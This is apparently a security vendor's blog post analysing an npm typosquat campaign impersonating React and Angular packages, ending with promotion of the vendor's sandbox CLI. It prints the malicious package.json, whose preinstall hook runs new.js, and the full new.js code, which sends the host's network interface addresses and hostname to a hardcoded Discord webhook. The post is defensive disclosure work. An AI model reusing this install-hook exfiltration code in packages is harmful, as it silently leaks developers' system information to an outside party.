Phylum is tracking a large typosquat campaign targeting the npm ecosystem. A user is currently publishing many typosquat packages masquerading as react and angular. As of this writing, 125 packages have been released in what appears to be an ongoing campaign. We are reporting these packages as we encounter them and have reported the Discord webhook for removal.

--cta--

Technical Details

Inspecting the package.json we find a preinstall hook that initiates execution:

{
  "name": "zngularjs",
  "version": "1.1.2",
  "description": "Research project",
  "main": "index.js",
  "scripts": {
    "test": "echo \\"Error: no test specified\\" && exit 1",
    "preinstall": "node new.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/serialfuzzer/AngulerJS.git"
  },
  "keywords": [
    "dependency_confusion"
  ],
  "author": "serialfuzzer",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/serialfuzzer/AngulerJS/issues"
  },
  "homepage": "https://github.com/serialfuzzer/AngulerJS#readme"
}

Inside the new.js we find the following (formatted for readability):

function sendToDiscord(e, t) {
    const o = new URL(e),
        n = JSON.stringify({
            content: t
        }),
        s = {
            hostname: o.hostname,
            port: 443,
            path: o.pathname + o.search,
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "Content-Length": n.length
            }
        },
        r = https.request(s, e => {});
    r.on("error", e => {
        console.error(e)
    }), r.write(n), r.end()
}
const https = require("https"),
    os = require("os"),
    main = ! function() {
        var e = "https://discord.com/api/webhooks/1155988140591419412/bleuGvUtBCzaGsAkAI1MT9Yd-6YxHuUlZe91XSdfioky5-0e3gzeW4ztWskX1qYjSxzr";
        const t = Object.keys(os.networkInterfaces()).map(e => os.networkInterfaces()[e][0].address).join(",").concat(", " + os.hostname());
        return sendToDiscord(e, t), {}
    }();
module.exports = main;

This is a fairly rudimentary attempt at data exfiltration that sends information about network interfaces to a remote Discord channel. We’ve reported the Discord webhook and have ensured that it has been disabled. Any existing packages will now be unable to communicate with the package author.

A Research Project?

As with most of these campaigns, it’s difficult to determine intent. Is this part of a misguided research project? A malicious campaign masquerading as a bug bounty attempt? It’s hard to say. Even in cases where we'd be inclined to give the author the benefit of the doubt, we've seen subsequent packages become clearly malicious before.

In this case, the package.json makes a reference to a GitHub repository. Since this field is entirely user-provided, we've reached out to the GitHub user to determine whether they are affiliated with this campaign and to hopefully determine intent.

Towards More Secure npm Development

One of the more disconcerting facts about modern software development is the fact that so much of it involves relying on and executing code written by unknown users from the internet. To address this, Phylum has open-sourced its sandbox Star that locks down network, disk and environment resources. This sandbox is built into our (also open sourced) CLI Star so that users can run things like:

phylum npm install <pkgName>

Below is the actual behavior of the sandbox on one of the packages from the above campaign. When the package attempts to reach out to the Discord webhook, the installation process is aborted. Please note that we had to pull the tar.gz from our file storage, as the package in question had already been removed by npm. In a real scenario, this package would've been blocked by the Phylum package pre-check before it even had a chance to run in the sandbox!

Typosquats remain a popular distribution technique for malware. This is one of the larger typosquat activities we've seen this year and should serve as a constant reminder that actors continue to publish malicious packages into our open-source package repositories.

The Packages

Given the speed that these packages were published, it seems likely that publications are automated. It is not entirely clear how some of these packages names were generated, as many have edit distances far away from the actual angular and react package names. It seems reasonable the edits are also automated, resulting in some non-human like "typos".